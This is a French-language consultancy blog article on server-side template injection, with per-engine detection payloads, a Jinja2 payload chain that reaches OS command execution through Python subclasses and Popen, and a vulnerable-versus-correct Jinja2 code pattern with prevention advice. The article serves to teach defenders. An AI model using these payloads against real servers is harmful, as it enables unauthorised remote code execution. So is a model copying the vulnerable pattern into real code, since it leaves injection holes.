Cybreach Consulting Prendre RDV
Retour aux articles
Vulnérabilités

SSTI : injection de modèle côté serveur

Les moteurs de template (Jinja2, Twig, Freemarker, Pebble, Velocity) évaluent des expressions dans des balises spéciales. Quand une entrée utilisateur est concaténée directement dans le template avant son évaluation (plutôt que d'être passée comme variable), l'attaquant peut injecter des expressions qui seront évaluées par le moteur. Selon le moteur et la configuration, cela va de la lecture de variables sensibles à l'exécution de commandes OS.

Identification d'une SSTI

Le test de détection classique consiste à soumettre une expression mathématique dans la syntaxe du moteur et vérifier si elle est évaluée. Si l'application affiche le résultat de l'expression plutôt que la chaîne littérale, elle est vulnérable.

Payloads de détection par moteur

# Jinja2 (Python/Flask)
{{7*7}}          -> 49 (vulnérable)
{{7*'7'}}        -> 7777777 (confirme Jinja2)

# Twig (PHP)
{{7*7}}          -> 49
${7*7}           -> ${7*7} (n'est pas Twig)

# Freemarker (Java)
${7*7}           -> 49

# Velocity (Java)
#set($x = 7*7)${x} -> 49

Exploitation : de l'évaluation à l'exécution de commandes

Exemple d'exploitation Jinja2 (RCE)

# Jinja2 : accès aux classes Python pour exécuter des commandes
{{''.__class__.__mro__[1].__subclasses__()}}

# Une fois la classe subprocess.Popen identifiée (index variable) :
{{''.__class__.__mro__[1].__subclasses__()[xxx](['id'],stdout=-1).communicate()[0]}}

# Résultat : uid=33(www-data) gid=33(www-data) groups=33(www-data)

Prévention

La règle fondamentale : ne jamais concaténer des données utilisateur dans un template. Toujours les passer comme variables. La différence entre les deux patterns est critique.

Pattern vulnérable vs. correct (Jinja2)

from jinja2 import Environment

env = Environment()

# Vulnérable : l'entrée utilisateur fait partie du template
template_str = f"Bonjour {user_input}"
env.from_string(template_str).render()

# Correct : l'entrée utilisateur est une variable, pas du template
env.from_string("Bonjour {{ name }}").render(name=user_input)

Si le moteur de template doit être dynamique (l'utilisateur peut définir des templates), utiliser un sandbox : Jinja2 propose un SandboxedEnvironment qui restreint l'accès aux objets Python. Évaluer la nécessité de cette fonctionnalité et envisager des alternatives moins risquées (Mustache, Handlebars en mode non logique).

Une question après la lecture ?

Votre application utilise un moteur de template avec des données utilisateur ? Envoyez un message.

Ou réservez directement un cadrage de 30 minutes

Réserver un appel